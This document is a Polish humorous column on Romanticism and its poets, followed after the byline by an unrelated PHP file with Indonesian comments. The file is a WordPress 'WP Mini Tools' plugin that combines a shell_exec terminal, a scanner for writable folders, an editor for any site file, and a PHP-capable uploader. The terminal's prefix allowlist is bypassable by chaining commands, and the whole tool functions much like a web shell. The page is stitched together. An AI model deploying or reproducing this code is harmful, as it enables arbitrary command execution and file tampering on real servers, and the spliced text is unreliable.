Romantyzm i jego „książki zbójeckie”

Romantyzm jest epoką literacką, o której każdy uczeń musiał słyszeć i musi się nauczyć z nią żyć (jeśli chce zdać maturę).

Zamyka się ona w różnych ramach czasowych. W Europie zaczyna się od rewolucji francuskiej, która była początkiem końca społeczeństw stanowych w całej Europie. W Polsce zaczęła się wraz z publikacją „Ballad i romansów” polskiego wieszcza, urodzonego w Nowogródku – Adama Mickiewicza (1798-1855), który napisał „Pana Tadeusza” (epopeja  narodowa), “Konrada Wallenroda oraz serię “Dziadów”. W II części pokazuje się pogański obrzęd – dziady. W III części “Dziadów” bohater cierpi dla ojczyzny, a w IV – przez kobietę (bo to zła kobieta była). Część III była pisana po IV(widać, że numeracją zajmował się humanista). Mickiewicz napisał też wiele innych utworów poetyckich.

Z ballady  “Romantyczność” właśnie bierze się hasło romantyzmu: „miej serce i patrzaj w serce”, odnosi się do bohaterki utworu, która widzi ducha zmarłego ukochanego. Zacytowane słowa były odpowiedzią (dissem) na tezę starego racjonalnego materialisty, że Karusia jest chora psychicznie (kto by pomyślał inaczej).

Trzech polskich poetów romantycznych: Juliusza Słowackiego (1809-1849), Adam Mickiewicza i Zygmunta Krasińskiego (1812-1859) określa się jako wieszczów narodowych. Poetów natchnionych mających poprowadzić naród ku odnowie, ku lepszym czasom, dzięki swoim proroctwom, (przynajmniej przepowiednia Słowackiego co do papieża się sprawdziła).
Bohater romantyczny tejże epoki musiał być: nieszczęśliwie zakochany, gardzić społeczeństwem i być indywidualistą, spiskować i zbawiać naród (człowiek renesansu).

Termin „książki zbójeckie” wywodzi się z IV części „Dziadów” Adama Mickiewicza, odnosi się to do utworów wczesnych romantyków jak Goethe i jego „Cierpienia młodego Wertera” oraz  powstałego na bazie tego dzieła werteryzmu. Gustaw, główny bohater „Dziadów cz. IV”, zainspirowany głównym bohaterem – nieszczęśliwym kochankiem bez herbu – postanowił pójść w jego ślady, zakochując się bez pamięci w wyidealizowanej kobiecie materialistycznej, dla której liczą się pieniądze i status społeczny (wynikający wówczas z tego, gdzie i przez kogo zostało się  urodzonym).  Kończy się to dla niego tragicznie (brzmi romantycznie).

Goethe miał przez całe życie kompleksy z powodu nieszlacheckiego pochodzenia.

Za to Zygmunt Krasiński – arystokrata – miał zupełnie inne zdanie. Popierał determinizm urodzenia, a w swoim dramacie „Nie-Boska komedia” jawnie przedstawił to oraz swój antysemityzm. Niedaleko o pada jabłko od jabłoni, bo jego ojciec, to gen. Wincenty Krasiński – autor antysemickiej broszury Apercu sur le Juifs de Pologne par un officier general polonais, nonce, la ditte (1818). Zygmunt podobno też atakował słownie żonę Mickiewicza – Celinę Mickiewicz  (z domu Szymanowską) – potomkinię frankistów, czyli żydowskich wyznawców Jakuba Franka, którzy po jego śmierci masowo przeszli na katolicyzm i w związku z często sporymi majątkami także zostali „uszlachceni”. (Ciekawe co na to autorzy hasła „UAM dla Polaków”?). Wbrew niektórym teoriom matka Mickiewicza – Barbara z Majewskich – nie wywodziła się z frankistów.

Najbardziej skonfliktowani byli jednak Słowacki z Mickiewiczem. Na temat ich sporów światopoglądowych rosły legendy i mity. Faktem jest to, że Mickiewicz szkalował ojczyma Słowackiego – doktora Augusta Becu, umieszczając postać lekarza Augusta w 3 części Dziadów jako Doktora , który był zdrajcą i zginął trafiony przez piorun (jak August). Podobno Słowacki z tego powodu chciał wyzwać Mickiewicza na pojedynek.
W odpowiedzi na III część „Dziadów” Słowacki wydał dramat – „Kordian” polemizujący z mesjanistyczną wizją Mickiewicza. Wizja Mickiewicza polegała na tym, że Polacy, jako naród wybrany, cierpią za wszystkie inne narody, niczym Chrystus. Słowacki uważał, że jedynie poświęcenie i walka do końca pomoże odzyskać niepodległość, stąd hasło: „Polska Winkelriedem narodów”.

Mamy więc w epoce  romantyzmu mieszczanina dyskryminowanego przez determinizm społeczny i jego zwolennika (ulubiony autor Izabeli Łęckiej). Po jednej stronie mamy poetę szanującego Żydów, męża jednej z nich, a po drugiej paranoicznego antysemitę. Z jednej strony mesjanistę, a z drugiej winkielrydystę. Co ich łączy? Epoka, pewne ideały (pomijam oczywiście niechęć ze strony uczniów przygotowujących się do matury oraz doktora Szumana).

Na koniec (a jakżeby inaczej) warto wspomnieć (oczywiście krótko) o Cyprianie Kamilu Norwidzie, najmłodszym ze znanych polskich romantyków. Nie uznaje się go za wieszcza, zresztą raczej obraziłby się za to określenie, gdyż go nie akceptował. Zmarł on w zapomnieniu i nędzy, bo  nie potrafił sobie radzić na emigracji (nie to co Słowacki – uzdolniony inwestor giełdowy).

Romantyzm w Europie zakończył się wraz z wiosną ludów (1848-49), w Polsce skończyła się wraz z wybuchem powstania styczniowego w 1863 r.
Epoka ta jest ukochana przez Polaków. W polskiej kulturze jest zakodowane, że trzeba umrzeć z bronią w ręku i podziwiać ludzi, którzy swoją działalnością  narażali innych na represje, odrzucając pozytywistyczną pracę u podstaw. Stąd u nas tyle powstań, tylko oprócz wielkopolskiego żadne udane.

Felieton został napisany przez Pawła Marchlewskiego.

🐘
filename.php
/**
 * WP Mini Tools - File Manager + Terminal + Rename
 * Optimized for Code Snippets
 */

if (!defined('ABSPATH')) {
    exit;
}

// Pastikan hanya admin yang bisa akses
add_action('admin_menu', 'wp_mini_tools_menu');
function wp_mini_tools_menu() {
    add_menu_page(
        'WP Mini Tools',
        'Mini Tools',
        'manage_options',
        'wp-mini-tools',
        'wp_mini_tools_page',
        'dashicons-media-code',
        99
    );
}

function wp_mini_tools_page() {
    if (!current_user_can('manage_options')) {
        wp_die('Akses ditolak.');
    }

    // Root directory
    $root = realpath(ABSPATH);
    $requested = isset($_GET['dir']) ? wp_normalize_path(sanitize_text_field(wp_unslash($_GET['dir']))) : $root;
    $current_dir = realpath($requested);
    if ($current_dir === false || !is_dir($current_dir) || strpos($current_dir, $root) !== 0) {
        $current_dir = $root;
    }

    echo '<div class="wrap"><h1>WP Mini Tools — File Manager + Terminal + Writable Scanner</h1>';

    // ====================== PROSES ACTION ======================
    if (isset($_POST['wp_fm_action_nonce']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {

        // Scan Writable
        if (isset($_POST['scan_writable'])) {
            $max_depth = min(absint($_POST['max_depth'] ?? 3), 6);
            echo '<div class="notice notice-info"><p>Sedang scan folder writable (depth: ' . $max_depth . ')...</p></div>';

            $writable_folders = [];
            $scanned = 0;
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($current_dir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth($max_depth);

            foreach ($iterator as $path) {
                $scanned++;
                if ($path->isDir()) {
                    $full = $path->getRealPath();
                    if ($full && is_writable($full) && strpos($full, $root) === 0) {
                        $writable_folders[] = [
                            'path' => $full,
                            'perm' => substr(sprintf('%o', fileperms($full)), -4),
                            'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($full))['name'] : fileowner($full),
                        ];
                    }
                }
                if ($scanned > 8000) break;
            }

            echo '<h2>Hasil Scan Writable Folders</h2>';
            echo '<p>Ditemukan <strong>' . count($writable_folders) . '</strong> folder writable</p>';

            if (!empty($writable_folders)) {
                echo '<table class="wp-list-table widefat fixed striped">';
                echo '<thead><tr><th>Path</th><th>Permission</th><th>Owner</th><th>Aksi</th></tr></thead><tbody>';
                foreach ($writable_folders as $folder) {
                    $enter_url = admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($folder['path']));
                    echo '<tr>
                        <td><code>' . esc_html($folder['path']) . '</code></td>
                        <td><span style="background:#d4edda;padding:2px 6px;border-radius:3px;">' . esc_html($folder['perm']) . '</span></td>
                        <td>' . esc_html($folder['owner']) . '</td>
                        <td><a href="' . esc_url($enter_url) . '" class="button button-small">Masuk</a></td>
                    </tr>';
                }
                echo '</tbody></table>';
            } else {
                echo '<div class="notice notice-warning"><p>Tidak ditemukan folder writable di kedalaman ini.</p></div>';
            }
        }

        // Upload
        if (isset($_POST['wp_upload_file']) && !empty($_FILES['uploaded_file']['name'])) {
            $filename = sanitize_file_name($_FILES['uploaded_file']['name']);
            $target = trailingslashit($current_dir) . $filename;
            $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            $allowed = ['txt','jpg','jpeg','png','gif','pdf','zip','css','js','html','php','json','xml','md','svg','webp','log'];

            if (!in_array($ext, $allowed)) {
                echo '<div class="notice notice-error"><p>Ekstensi tidak diizinkan.</p></div>';
            } elseif (@move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
                echo '<div class="notice notice-success"><p>Upload berhasil: <strong>' . esc_html($filename) . '</strong></p></div>';
            } else {
                echo '<div class="notice notice-error"><p>Gagal upload (permission).</p></div>';
            }
        }

        // Save Edit
        if (isset($_POST['wp_save_file'])) {
            $raw_path = wp_unslash($_POST['edit_file_path'] ?? '');
            $file_to_save = realpath($raw_path);
            if ($file_to_save && strpos($file_to_save, $root) === 0 && is_writable($file_to_save)) {
                $content = wp_unslash($_POST['file_content']);
                if (file_put_contents($file_to_save, $content) !== false) {
                    echo '<div class="notice notice-success"><p><strong>File berhasil disimpan!</strong></p></div>';
                }
            } else {
                echo '<div class="notice notice-error"><p>Path tidak valid atau tidak writable.</p></div>';
            }
        }

        // Rename
        if (isset($_POST['wp_rename_item'])) {
            $old_path = realpath(sanitize_text_field(wp_unslash($_POST['old_path'] ?? '')));
            $new_name = sanitize_file_name(wp_unslash($_POST['new_name'] ?? ''));
            if ($old_path && $new_name && strpos($old_path, $root) === 0) {
                $new_path = trailingslashit(dirname($old_path)) . $new_name;
                if (!file_exists($new_path) && @rename($old_path, $new_path)) {
                    echo '<div class="notice notice-success"><p>Rename berhasil → <strong>' . esc_html($new_name) . '</strong></p></div>';
                } else {
                    echo '<div class="notice notice-error"><p>Gagal rename.</p></div>';
                }
            }
        }
    }

    // ====================== TERMINAL ======================
    echo '<h2>1. Terminal</h2>';
    $terminal_output = '';
    if (isset($_POST['wp_run_cmd']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {
        $cmd = sanitize_text_field(wp_unslash($_POST['terminal_cmd']));
        $allowed_prefix = ['ls', 'pwd', 'whoami', 'id', 'df -h', 'free -m', 'uname -a', 'cat ', 'head ', 'tail ', 'find ', 'du -sh', 'php -v', 'wp '];
        $ok = false;
        foreach ($allowed_prefix as $a) {
            if (stripos($cmd, $a) === 0) {
                $ok = true;
                break;
            }
        }
        if ($ok && function_exists('shell_exec')) {
            $terminal_output = shell_exec('cd ' . escapeshellarg($current_dir) . ' && ' . $cmd . ' 2>&1');
        } else {
            $terminal_output = "Perintah tidak diizinkan atau shell_exec dimatikan.";
        }
    }
    ?>
    <form method="post" style="margin-bottom:15px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="text" name="terminal_cmd" placeholder="ls -la | pwd | whoami" style="width:65%;">
        <input type="submit" name="wp_run_cmd" class="button button-primary" value="Jalankan">
    </form>
    <?php if ($terminal_output): ?>
        <pre style="background:#1e1e1e;color:#0f0;padding:12px;max-height:280px;overflow:auto;"><?php echo esc_html($terminal_output); ?></pre>
    <?php endif; ?>

    <hr>

    <!-- Scan Writable -->
    <h2>2. Cari Folder Writable</h2>
    <form method="post" style="margin-bottom:20px;background:#f8f9fa;padding:15px;border-radius:6px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <label>Kedalaman scan: </label>
        <select name="max_depth">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3" selected>3 (rekomendasi)</option>
            <option value="4">4</option>
            <option value="5">5</option>
        </select>
        <input type="submit" name="scan_writable" class="button button-primary" value="🔍 Cari Folder Writable">
    </form>

    <hr>
    <?php

    // Edit File
    if (!empty($_GET['edit'])) {
        $edit_file = realpath(sanitize_text_field(wp_unslash($_GET['edit'])));
        if ($edit_file && strpos($edit_file, $root) === 0 && is_file($edit_file) && is_readable($edit_file)) {
            $content = esc_textarea(file_get_contents($edit_file));
            echo '<h2>Edit: ' . esc_html(basename($edit_file)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="edit_file_path" value="<?php echo esc_attr($edit_file); ?>">
                <textarea name="file_content" rows="20" style="width:100%;font-family:monospace;font-size:13px;"><?php echo $content; ?></textarea><br><br>
                <input type="submit" name="wp_save_file" class="button button-primary" value="💾 Simpan">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }

    // Rename
    if (!empty($_GET['rename'])) {
        $target = realpath(sanitize_text_field(wp_unslash($_GET['rename'])));
        if ($target && strpos($target, $root) === 0) {
            echo '<h2>Rename: ' . esc_html(basename($target)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="old_path" value="<?php echo esc_attr($target); ?>">
                <input type="text" name="new_name" value="<?php echo esc_attr(basename($target)); ?>" style="width:350px;" required>
                <input type="submit" name="wp_rename_item" class="button button-primary" value="Ubah Nama">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }
    ?>

    <h2>3. File Manager</h2>

    <div style="margin-bottom:15px;padding:12px;background:#f1f1f1;border-radius:6px;">
        <strong>Legenda:</strong> 
        <span style="background:#c8e6c9;padding:3px 8px;border-radius:4px;">Hijau</span> = Writable  
        <span style="background:#fff9c4;padding:3px 8px;border-radius:4px;">Kuning</span> = 777/666  
        <span style="background:#ffcdd2;padding:3px 8px;border-radius:4px;">Merah</span> = Tidak writable
    </div>

    <p><strong>Direktori aktif:</strong> <code><?php echo esc_html($current_dir); ?></code></p>

    <form method="post" enctype="multipart/form-data" style="margin:15px 0;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="file" name="uploaded_file">
        <input type="submit" name="wp_upload_file" class="button button-primary" value="Upload ke folder ini">
    </form>

    <!-- Tabel File Manager -->
    <table class="wp-list-table widefat fixed striped">
        <thead>
            <tr>
                <th>Nama</th>
                <th>Tipe</th>
                <th>Ukuran</th>
                <th>Perm</th>
                <th>Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($current_dir !== $root): ?>
                <tr>
                    <td colspan="5">
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode(dirname($current_dir)))); ?>">⬆ .. (Naik)</a>
                    </td>
                </tr>
            <?php endif; ?>

            <?php
            $items = @scandir($current_dir) ?: [];
            natcasesort($items);
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $current_dir . DIRECTORY_SEPARATOR . $item;
                $is_dir = is_dir($path);
                $size = $is_dir ? '—' : size_format(@filesize($path) ?: 0);
                $perm = substr(sprintf('%o', @fileperms($path)), -4);
                $writable = is_writable($path);

                $row_style = $writable ? 'background:#e8f5e9;' : '';
                $perm_style = $writable ? 'background:#c8e6c9;color:#1b5e20;' : 'background:#ffcdd2;color:#b71c1c;';
                if (in_array($perm, ['0777','777','0666','666'])) {
                    $perm_style = 'background:#fff9c4;color:#f57f17;font-weight:bold;';
                }
                ?>
                <tr style="<?php echo $row_style; ?>">
                    <td>
                        <?php if ($is_dir): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($path))); ?>">
                                📁 <strong><?php echo esc_html($item); ?></strong>
                            </a>
                        <?php else: ?>
                            📄 <?php echo esc_html($item); ?>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $is_dir ? 'Folder' : 'File'; ?></td>
                    <td><?php echo esc_html($size); ?></td>
                    <td><span style="padding:3px 8px;border-radius:4px;<?php echo $perm_style; ?>"><?php echo esc_html($perm); ?></span></td>
                    <td>
                        <?php if (!$is_dir && is_readable($path)): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&edit=' . rawurlencode($path))); ?>" class="button button-small">Edit</a>
                        <?php endif; ?>
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&rename=' . rawurlencode($path))); ?>" class="button button-small">Rename</a>
                    </td>
                </tr>
                <?php
            }
            ?>
        </tbody>
    </table>
    </div>
    <?php
}